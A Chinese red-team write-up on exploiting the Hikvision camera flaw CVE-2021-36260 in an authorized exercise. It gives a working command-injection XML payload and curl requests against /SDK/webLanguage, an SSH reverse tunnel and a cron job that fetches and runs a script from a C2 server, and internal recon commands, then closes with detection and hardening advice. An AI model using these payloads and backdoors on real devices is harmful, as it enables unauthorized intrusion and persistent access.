红队视角下的CVE-2021-36260实战:一次海康摄像头渗透的深度剖析
那天早上,咖啡杯里的热气还没散尽,我就接到了这次内部红队演练的授权书。目标很明确:从外网暴露的海康摄像头入手,尽可能深入内网。这种任务听起来像是老套的渗透测试剧本,但当你真正面对一个真实的网络环境时,每个步骤都充满了未知和挑战。
1. 目标侦察与漏洞定位
我首先对目标网络进行了基础扫描,发现了几台暴露在公网的海康威视摄像头。通过HTTP响应头中的Server信息和登录页面版权声明,初步判断这些设备运行的是2021年中期前的固件版本——这正是CVE-2021-36260的潜在影响范围。
关键侦察技巧:
- 使用
curl -I http://target_ip获取HTTP头信息 - 检查
/System/configurationFile?auth=YWRtaW46MTEK等常见路径 - 分析登录页面源代码中的版本标识
注意:在实际测试中,建议先与客户确认扫描范围和强度,避免触发安全设备的告警阈值。
2. 漏洞利用的艺术
CVE-2021-36260之所以危险,在于它允许攻击者通过简单的HTTP请求就能获得设备的root权限。与常见漏洞不同,它不需要任何认证凭证,直接针对/SDK/webLanguage接口发起精心构造的PUT请求即可。
手动利用步骤详解:
- 构造恶意XML:
<?xml version='1.0' encoding='utf-8'?> <language>$(id > /tmp/test)</language>- 发送漏洞利用请求:
curl -X PUT -d @exploit.xml http://target_ip/SDK/webLanguage- 验证命令执行:
curl http://target_ip/tmp/test自动化利用对比:
| 方法 | 优点 | 缺点 |
|---|---|---|
| 手动构造 | 灵活可控,可绕过简单WAF | 需要多次请求验证 |
| 公开POC | 一键化操作,适合批量检测 | 特征明显易被拦截 |
3. 权限维持与内网渗透
获取root shell只是开始。真正的挑战在于如何在这个受限环境中建立持久化访问,同时避免触发安全告警。
后门部署方案:
- SSH反向隧道:在摄像头内创建到C2服务器的持久连接
ssh -fN -R 2222:localhost:22 user@c2_server- Cron定时任务:维持定期连接
(crontab -l 2>/dev/null; echo "*/5 * * * * curl http://c2_server/payload.sh | sh") | crontab -内网信息收集关键命令:
ifconfig # 查看网络配置 arp -a # 发现内网主机 route -n # 分析路由表 find / -name "*config*" -type f # 搜索配置文件4. 防御视角的思考与建议
站在蓝队角度,这类攻击的检测点其实非常明确:
检测指标:
- 异常的PUT请求到
/SDK/webLanguage接口 - 设备突然产生大量出站连接
- 系统进程列表中出现异常命令行参数
防护措施分层实施:
网络层:
- 严格限制IoT设备的出站连接
- 对管理接口实施IP白名单
设备层:
- 立即升级到最新固件版本
- 禁用不必要的Web服务接口
监控层:
- 建立针对设备异常行为的基线
- 对设备日志进行集中分析和告警
在这次演练中,最令我印象深刻的是内网摄像头往往被视为低风险设备,却可能成为攻击者进入核心网络的跳板。一个看似简单的命令注入漏洞,配合适当的内网渗透技巧,就能造成远超预期的破坏。